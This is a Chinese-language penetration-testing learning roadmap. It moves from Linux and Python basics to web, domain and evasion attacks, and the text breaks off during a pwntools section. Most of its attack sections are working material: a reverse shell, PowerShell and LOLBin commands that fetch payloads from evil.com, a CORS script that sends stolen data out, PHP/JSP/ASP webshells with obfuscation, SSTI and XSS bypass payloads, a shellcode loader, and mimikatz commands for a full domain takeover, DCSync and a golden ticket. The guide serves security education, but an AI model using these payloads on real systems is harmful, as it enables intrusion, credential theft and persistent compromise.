网络安全（白帽黑客）系统化学习路线

推荐发行版

文件权限管理

# 查看权限
ls -la /etc/passwd
# -rw-r--r-- 1 root root ... 表示 root 可读写，其他人只读

# 修改权限
chmod 755 script.sh      # rwxr-xr-x
chmod u+x script.sh     # 给属主加执行权限
chmod 4755 /usr/bin/find # SUID 提权关键！

# 修改属主
chown root:root file.txt

# 查找 SUID 文件（提权必用）
find / -perm -4000 -type f 2>/dev/null

进程管理

ps aux                         # 查看所有进程
top                             # 实时进程监控
htop                            # top 增强版
kill -9                     # 强制杀死进程
pstree -p                      # 树状显示进程关系
lsof -i :80                    # 查看占用 80 端口的进程

网络工具

系统日志

sudo 与 crontab

# sudo 权限查看（提权必查）
sudo -l
# 如果输出 (ALL) NOPASSWD: /usr/bin/python → 可提权：
sudo python -c 'import os; os.system("/bin/bash")'

# crontab 定时任务
crontab -e    # 编辑定时任务
crontab -l    # 列出定时任务
# 格式：分 时 日 月 周 命令
# */5 * * * * /tmp/backdoor.sh  → 每 5 分钟执行

包管理器与 SSH

# Debian/Ubuntu (apt)
apt update && apt install nmap

# CentOS/RHEL (yum/dnf)
yum install nmap

# SSH 远程连接
ssh user@192.168.1.100
ssh -i id_rsa user@target  # 密钥登录
ssh-keygen -t rsa -b 4096  # 生成密钥对

防火墙

# iptables
iptables -L -n -v           # 查看规则
iptables -A INPUT -p tcp --dport 22 -j DROP  # 封禁 SSH

# firewalld（CentOS 7+）
firewall-cmd --list-all
firewall-cmd --add-port=80/tcp --permanent
firewall-cmd --reload

Docker 容器基础

docker pull vulnerables/web-dvwa     # 拉取靶场镜像
docker run -d -p 80:80 vulnerables/web-dvwa  # 启动容器
docker ps                             # 查看运行中的容器
docker exec -it <容器ID> /bin/bash     # 进入容器
docker-compose up -d                # 启动多容器环境（Vulhub 常用）

Python 是安全领域的万能语言：爬虫、POC/EXP 编写、批量扫描、日志分析、工具二次开发、自动化渗透脚本都离不开它。

requests — HTTP 请求

import requests
resp = requests.get("http://target.com")
print(resp.status_code, resp.text[:200])

# 带 Cookie 的请求
cookies = {"session": "abc123"}
resp = requests.get("http://target.com/admin", cookies=cookies)

# POST 请求（SQL注入测试）
data = {"username": "admin", "password": "' OR 1=1--"}
resp = requests.post("http://target.com/login", data=data)

# 代理设置（配合 Burp 调试）
proxies = {"http": "http://127.0.0.1:8080"}
resp = requests.get("http://target.com", proxies=proxies, verify=False)

socket — 端口扫描与反弹 Shell

import socket
def port_scan(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(1)
    try:
        s.connect((host, port))
        print(f"[+] {host}:{port} OPEN")
        s.close()
    except: pass

# 反弹 Shell
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("攻击者IP", 4444))
while True:
    cmd = s.recv(1024).decode()
    if cmd == "exit": break
    result = subprocess.run(cmd, shell=True, capture_output=True)
    s.send(result.stdout + result.stderr)

re — 正则表达式（日志分析/数据提取）

import re
log = "192.168.1.1 - - [10/Aug/2026:21:39:11] GET /admin"
ips = re.findall(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', log)
print(ips)  # ['192.168.1.1']

# SQL 注入检测
pattern = re.compile(r"(union|select|insert|drop|'|--|;)", re.IGNORECASE)

多线程 — 批量扫描加速

import threading, queue
targets = queue.Queue()
for port in range(1, 65536): targets.put(port)

def worker(host):
    while not targets.empty():
        port = targets.get()
        port_scan(host, port)
        targets.task_done()

for _ in range(100):
    t = threading.Thread(target=worker, args=("192.168.1.1",))
    t.daemon = True; t.start()
targets.join()

实战项目：批量目录扫描器

import requests
from concurrent.futures import ThreadPoolExecutor

wordlist = ["admin","login","backup",".git","config","phpinfo.php"]
target = "http://target.com"

def scan(path):
    url = f"{target}/{path}"
    try:
        resp = requests.get(url, timeout=3, allow_redirects=False)
        if resp.status_code == 200:
            print(f"[+] Found: {url} ({resp.status_code})")
    except: pass

with ThreadPoolExecutor(max_workers=20) as executor:
    executor.map(scan, wordlist)

SQL 注入是 Web 安全最经典的漏洞，理解 SQL 语言是理解注入原理的前提。

-- 基础增删改查
SELECT * FROM users WHERE username = 'admin';
INSERT INTO users (username, password) VALUES ('admin', '123456');
UPDATE users SET password = 'newpass' WHERE id = 1;
DELETE FROM users WHERE id = 1;

-- UNION 联合查询注入（最经典）
SELECT username, password FROM users WHERE id = 1
UNION SELECT table_name, 2 FROM information_schema.tables;
-- 注入 payload: ?id=1 UNION SELECT table_name,2 FROM information_schema.tables--

-- 报错注入
SELECT * FROM users WHERE id=1 AND updatexml(1,concat(0x7e,(SELECT version() FROM information_schema.tables),0x7e),1);

-- 布尔盲注
SELECT * FROM users WHERE id=1 AND ascii(substr((SELECT password FROM users LIMIT 1),1,1))>50;

-- 时间盲注
SELECT * FROM users WHERE id=1 AND IF(ascii(substr(database(),1,1))>50, sleep(3), 0);

关键系统库

OSI 七层 vs TCP/IP 四层模型

TCP 三次握手与四次挥手

三次握手（建立连接）
客户端 → SYN → 服务器         （SYN scan 只发这一步）
客户端 ← SYN+ACK ← 服务器
客户端 → ACK → 服务器         （连接建立）

四次挥手（断开连接）
客户端 → FIN → 服务器
客户端 ← ACK ← 服务器
客户端 ← FIN ← 服务器
客户端 → ACK → 服务器

HTTP/HTTPS 协议

HTTP 请求结构
GET /login.php?id=1 HTTP/1.1       -- 请求行
Host: target.com                    -- 主机头
User-Agent: Mozilla/5.0             -- 客户端标识
Cookie: session=abc123              -- 会话标识（XSS/CSRF核心）

常见状态码
200 OK | 301/302 重定向 | 400 Bad Request | 401 未授权 | 403 禁止访问
404 Not Found | 500 服务器内部错误 | 502/503/504 网关错误

其他关键协议

抓包工具

# tcpdump 常用命令
tcpdump -i eth0                      # 抓取所有流量
tcpdump -i eth0 port 80              # 只抓 80 端口
tcpdump -i eth0 host 192.168.1.100   # 只抓特定IP
tcpdump -w capture.pcap              # 保存为pcap文件

PowerShell 是 Windows 安全人员必须掌握的脚本语言，后渗透、信息收集、提权、免杀都离不开它。

基础命令

# 执行策略绕过（渗透必会）
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/ps.ps1')"
powershell -nop -w hidden -c "..."  # 无窗口隐藏执行

# 文件操作
Get-Content file.txt              # 读文件
Set-Content file.txt "data"     # 写文件
Copy-Item src dst -Force           # 复制
Remove-Item -Path C:\temp -Recurse  # 删除目录

# 网络请求
Invoke-WebRequest -Uri http://target.com -OutFile page.html
iwr http://evil.com/payload.exe -OutFile C:\Windows\Temp\sv.exe
Invoke-RestMethod -Uri http://api.com -Method POST -Body $json

信息收集与提权常用

# 系统信息
Get-ComputerInfo                    # 完整系统信息
Get-WmiObject -Class Win32_OperatingSystem
Get-HotFix | Select-Object HotFixID,InstalledOn  # 补丁列表（提权必查）

# 用户与权限
Get-LocalUser | Select-Object Name,Enabled,LastLogon
Get-LocalGroupMember -Group Administrators
Get-WmiObject -Class Win32_UserAccount

# 进程与服务
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10
Get-Service | Where-Object {$_.Status -eq 'Running'}
Get-WmiObject Win32_Service | Where {$_.StartName -like "*LocalSystem*"}

# 网络连接
Get-NetTCPConnection | Where-Object {$_.State -eq 'Established'}
Get-NetIPAddress -AddressFamily IPv4
Test-NetConnection -ComputerName 10.0.0.5 -Port 445

# 注册表操作
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path "HKLM:\...\Run" -Name backdoor -Value "powershell.exe"

# 计划任务
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select-Object TaskName,TaskPath

PowerShell 远程下载执行（渗透常用）

# 下载并执行（无文件攻击）
IEX(New-Object Net.WebClient).DownloadString('http://evil.com/PowerView.ps1')

# Base64 编码执行（绕过检测）
$cmd = "Write-Host 'Hello'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -encodedCommand $encoded

# PowerSploit 框架常用模块
# Get-NetUser          -- 域用户列表
# Get-NetGroup         -- 域组列表
# Get-NetComputer      -- 域内机器
# Invoke-Portscan      -- 内网端口扫描
# Invoke-Mimikatz      -- 调用 Mimikatz

管道符与重定向

# 管道符：前命令输出作为后命令输入
cat /etc/passwd | grep bash | wc -l    # 统计可登录用户数
ps aux | sort -rnk 4 | head -5      # 内存占用 Top 5 进程

# 重定向
echo "data" > file.txt    # 覆盖写入
echo "more" >> file.txt   # 追加写入
command 2>&1               # 标准错误重定向到标准输出
command > /dev/null 2>&1  # 丢弃所有输出
command < /etc/passwd        # 从文件读入

文本处理三剑客 (grep/sed/awk)

# grep — 文本搜索
grep -r "password" /var/www/         # 递归搜索目录
grep -i "root" /etc/passwd              # 忽略大小写
grep -v "#" /etc/ssh/sshd_config        # 排除注释行
grep -E "[0-9]{1,3}\.){3}[0-9]{1,3}" log.txt  # 正则匹配IP

# sed — 流编辑器
sed 's/old/new/g' file.txt           # 全局替换
sed -i 's/^PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -n '1,10p' /etc/passwd             # 打印1-10行
sed '/bash$/d' /etc/passwd             # 删除含bash结尾的行

# awk — 文本分析
awk -F: '{print $1, $3}' /etc/passwd  # 以:分割打印第1,3列
awk '{sum+=$1}END{print sum}' file     # 求和
netstat -tunlp | awk 'NR>2{print $4,$7}'  # 提取监听地址和PID
cat access.log | awk '{print $1}' | sort | uniq -c | # 统计IP访问次数
  sort -rn | head -10

环境变量与别名

# 环境变量
echo $PATH                     # 查看可执行文件路径
export PATH=$PATH:/opt/tools   # 添加路径
env                           # 查看所有环境变量
echo $HOME $USER $SHELL

# 提权技巧：PATH 劫持
# 如果 sudo 运行的程序调用了不带路径的命令，可以修改 PATH
export PATH=/tmp:$PATH
echo '/bin/bash' > /tmp/service
chmod +x /tmp/service
sudo /usr/bin/service            # 触发提权

系统信息收集命令（渗透信息收集必用）

# 系统版本与内核
uname -a                       # 内核版本（提权关键）
cat /etc/os-release             # 发行版信息
cat /etc/issue
arch                           # CPU 架构

# 用户信息
id                             # 当前用户身份
cat /etc/passwd                 # 所有用户
cat /etc/shadow                 # 密码哈希（需root）
cat /etc/group                  # 用户组
sudo -l                        # sudo 权限（提权关键）

# 网络信息
ifconfig / ip addr              # 网卡信息
route -n / ip route            # 路由表
cat /etc/resolv.conf            # DNS 配置
cat /etc/hosts                  # 主机名解析
arp -a                         # ARP 表

# 已安装软件
dpkg -l | grep -i ssh          # Debian/Ubuntu
rpm -qa | grep -i ssh            # CentOS/RHEL

Linux 提权常见路径

Docker 是安全学习的基石——靶场部署、漏洞复现、工具运行全靠它。掌握 Docker 命令是必备技能。

Docker 常用命令

# 镜像管理
docker images                        # 列出本地镜像
docker pull vulnerables/web-dvwa      # 拉取镜像
docker rmi                  # 删除镜像
docker search dvwa                    # 搜索 Docker Hub

# 容器生命周期
docker run -d -p 80:80 -p 3306:3306 --name dvwa vulnerables/web-dvwa
# -d 后台运行 -p 端口映射 --name 容器名
docker ps                              # 运行中的容器
docker ps -a                           # 所有容器（含已停止）
docker start/stop/restart <容器名>      # 容器管理
docker rm -f <容器名>                   # 强制删除容器

# 进入容器与操作
docker exec -it <容器名> /bin/bash     # 进入容器终端
docker cp file.txt <容器名>:/tmp/      # 复制文件到容器
docker logs <容器名>                    # 查看容器日志
docker inspect <容器名>                # 查看容器详细信息

# Docker Compose（多容器编排）
docker-compose up -d              # 启动编排环境
docker-compose down               # 停止并删除
docker-compose ps                # 查看编排状态

安全靶场快速部署

# DVWA（新手必练）
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa

# SQLi-Labs（75关SQL注入专项）
docker run -d -p 80:80 acgpiano/sqli-labs

# Pikachu 靶场（中文OWASP Top10）
docker run -d -p 80:80 area39/pikachu

# Vulhub（海量CVE漏洞环境）
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d

# MySQL + 靶场联合部署
docker network create sec-lab
docker run -d --network sec-lab --name db -e MYSQL_ROOT_PASSWORD=pass mysql:5.7
docker run -d --network sec-lab -p 80:80 --name dvwa vulnerables/web-dvwa

Docker 安全要点

subprocess — 执行系统命令

import subprocess

# 执行命令并获取输出
result = subprocess.run(["nmap", "-sV", "192.168.1.1"], capture_output=True, text=True)
print(result.stdout)

# Shell 模式（方便拼接）
result = subprocess.run("nmap -sV 192.168.1.1 -oX -", shell=True, capture_output=True)

# Popen 实时输出
p = subprocess.Popen(["ping", "-c", "4", "8.8.8.8"], stdout=subprocess.PIPE)
for line in p.stdout:
    print(line.decode().strip())

os — 文件与系统操作

import os

# 文件操作
os.listdir("/var/www")              # 列目录
os.path.exists("/etc/passwd")       # 文件是否存在
os.path.join("/tmp", "shell.php")  # 拼接路径
os.makedirs("/tmp/exfil", exist_ok=True)

# 环境变量
os.environ.get("HOME")
os.environ["PATH"] += ":/opt/tools"

# 执行命令（不安全，了解即可）
os.system("whoami")                  # 返回退出码
os.popen("id").read()               # 返回输出

Scapy — 网络数据包操控

from scapy.all import *

# SYN 端口扫描
ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=[22,80,443], flags="S"), timeout=2)
for s, r in ans:
    if r[TCP].flags == "SA":
        print(f"[+] {s[IP].dst}:{s[TCP].dport} OPEN")

# ARP 欺骗（中间人攻击）
# arpspoof(target_ip, gateway_ip)
send(ARP(op=2, pdst="192.168.1.100", psrc="192.168.1.1", hwsrc="aa:bb:cc:dd:ee:ff"))

# 抓包分析
packets = sniff(filter="tcp port 80", count=10)
packets.summary()

# 构造 ICMP Ping
sr1(IP(dst="8.8.8.8")/ICMP())

argparse — 工具命令行参数（写扫描器必用）

import argparse

parser = argparse.ArgumentParser(description="端口扫描器 v1.0")
parser.add_argument("-t", "--target", required=True, help="目标IP")
parser.add_argument("-p", "--ports", default="1-1000", help="端口范围")
parser.add_argument("-T", "--threads", type=int, default=100, help="线程数")
parser.add_argument("-v", "--verbose", action="store_true", help="详细输出")
args = parser.parse_args()

print(f"扫描 {args.target} 端口 {args.args}")

其他安全常用库速查

前端三剑客

PHP 基础语法（源码审计必看）

<?php
// PHP 是 Web 安全最重要的后端语言
$name = $_GET['name'];        // 从 URL 参数获取
$id = $_POST['id'];            // 从 POST body 获取

// SQL 注入漏洞代码（反面教材）
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];  // 直接拼接！危险！

// XSS 漏洞代码
echo "<h1>" . $_GET['name'] . "</h1>";  // 直接输出！危险！

// 文件包含漏洞
include($_GET['page'] . '.php');  // 直接包含！危险！

// 命令执行漏洞
system("ping " . $_GET['ip']);  // 直接执行！危险！
?>

服务器架构 LAMP/LNMP

• LAMP：Linux + Apache + MySQL + PHP（经典架构）
• LNMP：Linux + Nginx + MySQL + PHP（高性能架构）
• 请求流程：浏览器 → Nginx/Apache → PHP-FPM → MySQL → 返回结果

抓包改包工具

# Burp Suite 核心模块
Proxy      -- 代理拦截/修改 HTTP 请求响应
Repeater   -- 手动重发请求，调试漏洞（最常用）
Intruder   -- 自动化爆破/ fuzzing
Decoder    -- 编码解码（Base64/URL/Hex）
Comparer   -- 对比两个响应差异
Sequencer  -- 分析随机性（Token质量）
Scanner    -- 自动漏洞扫描（Pro版）

扫描器

# Nmap 常用参数（必背）
nmap -sS 192.168.1.0/24           # SYN 半开扫描（隐蔽）
nmap -sV -sC 192.168.1.100        # 服务版本+默认脚本扫描
nmap -O 192.168.1.100             # 操作系统识别
nmap -A 192.168.1.100             # 全面扫描
nmap -p- 192.168.1.100            # 扫描所有 65535 个端口
nmap --script vuln 192.168.1.100  # 漏洞脚本扫描
nmap -sn 192.168.1.0/24           # 只做主机发现

漏洞利用框架 Metasploit

# Metasploit 基本流程
msfconsole
msf6 > search eternalblue           # 搜索永恒之蓝 exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100       # 设置目标 IP
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50         # 设置本地 IP
msf6 > exploit                       # 执行攻击

# Meterpreter 常用命令
meterpreter > sysinfo              # 系统信息
meterpreter > getuid               # 当前权限
meterpreter > hashdump             # 导出密码哈希
meterpreter > screenshot           # 截屏
meterpreter > keyscan_start        # 键盘记录
meterpreter > getsystem            # 尝试提权

密码爆破工具

# Hydra 爆破示例
hydra -l root -P passwords.txt ssh://192.168.1.100    # SSH 爆破
hydra -L users.txt -P pass.txt 192.168.1.100 rdp      # RDP 爆破
hydra -l admin -P pass.txt 192.168.1.100 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=incorrect"   # Web表单爆破

# Hashcat 破解哈希
hashcat -m 0 hashes.txt wordlist.txt        # MD5
hashcat -m 1000 hashes.txt wordlist.txt      # NTLM
hashcat -m 1800 hashes.txt wordlist.txt      # SHA-512 (Linux shadow)

目录与子域名扫描

# 目录/文件扫描
dirsearch -u http://target.com -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://target.com -w wordlist.txt -x php,txt,bak

# 子域名扫描
sublist3r -d target.com
amass enum -d target.com

本地靶场（Docker 部署）

# 快速部署靶场
docker run -d -p 80:80 vulnerables/web-dvwa      # DVWA
docker run -d -p 80:80 acgpiano/sqli-labs       # SQLi-Labs

# Vulhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d

在线练习平台

OWASP Top 10 是 Web 安全的官方权威风险排名，每年更新。以下是最新的 2021 版与学习路线的对应关系。

SSTI 服务端模板注入

高危 当服务端使用模板引擎（Jinja2/Twig/Freemarker/Velocity）且未对用户输入过滤时，攻击者可注入模板指令实现 RCE。

# SSTI 检测流程
# 1. 输入 {{7*7}} → 返回 49 → Jinja2/Twig
# 2. 输入 ${7*7} → 返回 49 → Freemarker/Velocity
# 3. 输入 #{7*7} → 返回 49 → Ruby ERB

# Jinja2 RCE 完整链（Flask 最常见）
# 找到 os._wrap_close 或其他可执行命令的类
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read()}}

# tplmap 自动化 SSTI 检测
python tplmap.py -u "http://target.com/?name=test"
python tplmap.py -u "http://target.com/" --data "name=test" --os-shell

CORS 跨域资源共享漏洞

中高危 当服务器配置 Access-Control-Allow-Origin: * 且 Access-Control-Allow-Credentials: true 时，任意网站可跨域读取受害者数据。

# 漏洞场景
# 服务端响应头：
Access-Control-Allow-Origin: https://evil.com    # 允许任意来源
Access-Control-Allow-Credentials: true          # 允许携带Cookie

# 攻击者在 evil.com 部署：
<script>
fetch("https://victim.com/api/profile", {credentials: "include"})
  .then(r=>r.json()).then(d=>{
    // 窃取受害者数据发送到攻击者服务器
    fetch("https://evil.com/collect?data="+JSON.stringify(d))
  });
</script>

Web 缓存欺骗

中危 利用缓存服务器和源站对 URL 路径解析不一致，将用户私有页面缓存到公共缓存中。

# 攻击示例
# 正常URL: https://bank.com/account.php → 私有内容（不缓存）
# 恶意URL: https://bank.com/account.php/test.css → 缓存服务器认为是静态资源(.css)进行缓存
#                          ↑ 源站忽略 /test.css 仍返回 account.php 内容
# 攻击者诱导受害者访问恶意URL，缓存被保存，攻击者再访问即可获取受害者数据

SQL 注入绕过技巧

XSS 绕过 WAF 技巧

# 标签变异
<scr<script>ipt>alert(1)</scr<script>ipt>     # 嵌套绕过
<svg/onload=alert(1)>                         # 不用空格
<img src=x:alert(alt) onerror=eval(src)>      # 利用属性
<details/open/ontoggle=alert(1)>               # HTML5 标签
<body/onload=alert(1)>                        # body 标签

# 编码绕过
<script>eval(atob('YWxlcnQoMSk='))</script>    # Base64
<script>eval(String.fromCharCode(97,108,...))</script>  # 字符码
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>  # HTML 实体编码
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>       # Unicode 编码

# 长度限制绕过（利用外部加载）
<script src=//evil.com/x.js></script>          # 外部加载 payload
<svg><script href=//evil.com/x.js />           # SVG 加载

通用 WAF 绕过思路

• 协议层：HTTP/2 协议差异、分块传输编码、Content-Type 切换、请求方法变换 (GET↔POST)
• 应用层：编码组合、大小写混写、注释插入、等价替换、参数污染
• 架构层：利用源站直连 IP、CDN 回源绕过、同网段内网直连、IP 轮换
• 资源层：超大请求体耗尽 WAF 内存、超长 URL 截断、大量参数混淆
• 时间层：延迟请求、分多次发送 payload

拿到 Web 漏洞后，通常需要上传 WebShell 来维持权限和进一步操作。以下是三大主流 WebShell 管理工具。

常见 WebShell 一句话

# PHP 一句话木马（经典）
<?php @eval($_POST['cmd']); ?>          # 最基础
<?php @assert($_POST['cmd']); ?>         # assert 版
<?php call_user_func('assert', $_POST['cmd']); ?>
<?php preg_replace_callback("/.*/e", 'assert', $_POST['cmd']); ?>

# 免杀变形
<?php
$f='base'.'64_de'.'code';
$f("ZXZhbCgkX1BPU1RbJ2NtZCddKQ==");  # base64(eval($_POST['cmd']))
?>

# JSP 一句话
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

# ASP 一句话
<%eval request("cmd")%>

WebShell 免杀技巧

• 字符串拼接：拆分关键字绕过特征匹配
• 动态调用：$a='assert';$a($_POST['x']);
• 加密传输：蚁剑/冰蝎默认加密通信流量
• 修改文件头：添加 GIF89a 伪装为图片
• .htaccess：让图片文件当 PHP 执行
• 内存马：不落地文件，驻留在进程内存中（Java Agent 内存马）

渗透测试的第一步永远是信息收集。信息收集越充分，攻击面就越大。

信息收集维度

FOFA / Shodan 资产测绘

# FOFA 搜索语法
title="后台" country=CN           # 标题包含"后台"的中国站点
body="Powered by WordPress"     # 页面包含特定字符串
header="JSESSIONID"              # 响应头包含
port="6379" && body="redis_version"  # 开放 Redis 的主机
app="Apache-Log4j"              # 特定应用
cert="target.com"                # SSL 证书包含域名

# Shodan 搜索语法
port:3389 country:"CN"           # 中国开放 RDP 的主机
product:"Apache" version:"2.4.49"  # 特定版本 Apache（可能有CVE）
org:"Microsoft"                  # 特定组织
vuln:CVE-2021-44228            # 存在 Log4j2 漏洞的主机

目录扫描进阶

# 常用字典
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/dirb/big.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# dirsearch
dirsearch -u http://target.com -e php,txt,bak,zip -t 50
dirsearch -u http://target.com -w custom.txt --random-agent

# ffuf（高速 fuzzing）
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,403
ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2

# vhost 爆破子域名
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -fs 423

# 常见敏感文件
# /.git/config .svn/entries .DS_Store web.config
# /backup.zip /www.zip /database.sql /config.php.bak
# /phpinfo.php /test.php /debug.php /server-status
# /robots.txt /sitemap.xml /crossdomain.xml

Kerberos 认证四步流程

Kerberos 认证流程（域环境核心协议）

Step 1: AS-REQ (客户端 → KDC/DC)
  客户端用密码哈希加密预认证数据，向 KDC 请求 TGT 票据
  
Step 2: AS-REP (KDC → 客户端)
  KDC 验证密码哈希，返回 TGT（用 krbtgt 账户哈希加密）
  
Step 3: TGS-REQ (客户端 → KDC)
  客户端拿着 TGT 请求访问某服务的 TGS 票据
  
Step 4: TGS-REP (KDC → 客户端)
  KDC 返回 TGS（用服务账户哈希加密）
  
Step 5: AP-REQ (客户端 → 服务端)
  客户端用 TGS 票据访问目标服务

基于 Kerberos 的攻击手法

# AS-REP Roasting（不需要任何权限）
# 找关闭预认证的用户
python GetNPUsers.py corp.com/ -no-pass -usersfile users.txt

# Rubeus 版
Rubeus.exe asreproasting /format:hashcat /outfile:hashes.txt
hashcat -m 18200 hashes.txt wordlist.txt   # 破解 AS-REP 哈希

# Kerberoasting（需要普通域用户权限）span>
python GetUserSPNs.py corp.com/user:pass -request
Rubeus.exe kerberoast /outfile:hashes.txt
hashcat -m 13100 hashes.txt wordlist.txt   # 破解 TGS 哈希

# 委派攻击检测
python findDelegation.py corp.com/user:pass
# 找到非约束委派 → 获取机器账户权限 → 等待高权限用户访问 → 窃取票据

域渗透攻击链完整流程

# 1. 初始立足点（通过 Web 漏洞或钓鱼）
#    → 获取 WebShell 或反弹 Shell

# 2. 本机信息收集
whoami /all                    # 查看当前用户、权限、SID
systeminfo                     # 补丁情况
net user /domain               # 域用户列表

# 3. 域信息收集
net group "domain admins" /domain    # 找域管目标
nltest /dclist:corp.com               # 找域控
SharpHound.exe -c All                 # BloodHound 收集域信息

# 4. 提权
#    → 漏洞提权（MS16-032等）→ 获取 SYSTEM 权限

# 5. 凭证抓取
mimikatz # sekurlsa::logonpasswords   # 抓明文密码和NTLM哈希
mimikatz # lsadump::sam              # SAM 哈希

# 6. 横向移动
#    → PTH 横向 → PsExec/WMI 远程执行 → 获取更多机器权限

# 7. 获取域控
#    → 拿到域管凭证 → DCSync → 导出所有域用户哈希
mimikatz # lsadump::dcsync /domain:corp.com /all

# 8. 权限维持
mimikatz # kerberos::golden /user:Administrator /domain:corp.com \
  /sid:S-1-5-21-xxx /krbtgt:hash /ticket:golden.kirbi  # 黄金票据

免杀基本原理

常见免杀技术

# 1. PowerShell 内存加载（不落地文件）
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"

# 2. C# 编译为内存加载
# 用 Cobalt Strike 的 execute-assembly 加载 C# 程序
execute-assembly SharpHound.exe -c All

# 3. Shellcode 加载器
# C# 版本
byte[] shellcode = new byte[] { 0xfc, 0x48, 0x83, 0xe4, ... };
IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

# 4. 白名单利用（LOLBins）
# 利用系统签名的合法程序执行恶意代码
mshta http://evil.com/payload.hta          # mshta 加载 HTA
rundll32 shell32.dll,Control_RunDLL         # rundll32 加载 DLL
regsvr32 /u /s /i:http://evil.com/sct.sct scrobj.dll  # regsvr32 加载 Scriptlet
certutil -urlcache -split -f http://evil.com/payload.exe C:\Windows\Temp\sv.exe

# 5. 加壳与混淆
# Veil Framework — 生成免杀 payload
veil use python/meterpreter/rev_tcp
# Shellter — 注入式免杀
shellter --input legit.exe --payload msf --handler rev_tcp

Cobalt Strike 核心操作

# CS 基本概念
# Beacon    — 植入受害机的代理（支持 HTTP/HTTPS/SMB/TCP）
# Listener  — 监听器（接收 Beacon 回连）
# Malleable C2 — 可定制 C2 流量特征

# 常用命令
beacon> help                       # 帮助
beacon> shell whoami              # 执行系统命令
beacon> execute-assembly Rubeus.exe asreproasting  # 加载 C# 工具
beacon> runasadmin                # 提权
beacon> hashdump                  # 导出哈希
beacon> portscan 10.0.0.0/24      # 内网端口扫描
beacon> socks 1080                # 开启 SOCKS 代理
beacon> jump psexec 10.0.0.5        # 横向移动
beacon> spawn to winrm             # 派生新 Beacon

代理类型

frp 内网穿透

# frps.ini (攻击者 VPS 端配置)
[common]
bind_port = 7000
# 可选：dashboard
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = password

# frpc.ini (目标机器端配置)
[common]
server_addr = "VPS_IP"
server_port = 7000

# SOCKS5 代理（穿透整个内网）
[socks5_proxy]
type = tcp
remote_port = 1080
plugin = socks5

# 端口映射（映射特定端口）
[ssh_mapping]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

其他隧道工具

# nps — 轻量内网穿透
./nps install                    # VPS 端安装
# Web 管理面板默认端口 8080
./npc -server=VPS_IP:8024 -vkey=xxx  # 目标端连接

# ligolo — 新型反向隧道（推荐）
# VPS 端
ligolo_proxy -selfcert
# 目标端
ligolo_agent -connect VPS_IP:11601 -ignore-cert

# SSH 隧道（利用已有 SSH 权限）
# 本地转发：将远程端口映射到本地
ssh -L 8080:内网目标:80 user@跳板机
# 动态转发：SOCKS 代理
ssh -D 1080 user@跳板机
# 远程转发：反向连接
ssh -R 1080 user@攻击者IP

# ICMP/DNS 隧道（极端情况出网限制）
dnscat2                         # DNS 隧道
icmp-tunnel                     # ICMP 隧道

Windows 权限模型

关键特权（Token Privileges）

令牌窃取提权

# Meterpreter 令牌窃取
meterpreter> getuid                  # 查看当前权限
meterpreter> getprivs                # 查看当前特权
meterpreter> ps                      # 列出进程
# 找到 SYSTEM 进程（如 wininit.exe）
meterpreter> steal_token <PID>     # 窃取令牌
meterpreter> getuid               # 现在是 SYSTEM

# incognito 令牌操作
incognito> list_tokens -u           # 列出可用令牌
incognito> impersonate_user DOMAIN\\Administrator

ELF 文件结构 (Linux)

GDB + pwndbg 常用命令

# 启动
gdb ./binary                # 加载程序
gdb -q ./binary             # 安静模式

# 断点
b main                       # 在 main 设断点
b *0x401234                   # 在地址设断点
b vuln_func                   # 在函数设断点
delete 1                      # 删除断点1
info breakpoints              # 查看断点

# 运行与控制
r                            # 运行程序
r < input.txt                # 从文件输入（测试payload）
n                            # 单步（不进入函数）
s                            # 单步（进入函数）
c                            # 继续运行
finish                       # 运行到函数返回

# 查看
x/20x $esp                   # 查看栈 20 个 16 进制
x/20x $eip                   # 查看指令
x/s 0x404010                 # 查看字符串
info registers               # 查看寄存器
stack 30                     # pwndbg 查看栈
vmmap                        # 查看内存映射

# 高级
checksec                     # 查看保护机制
cyclic 100                   # 生成 pattern
cyclic -l 0x6261             # 找偏移量
ropper --file ./binary       # 查找 ROP gadget
one_gadget ./binary          # 查找 one_gadget

pwntools 使用

from pwn import *

# 连接
p = process("./vuln")             # 本地
p = remote("target.com", 9999)    # 远程

# 发送与接收
p.sendline(b"hello")            # 发送一行
p.send(b"payload")               # 发送原始数据
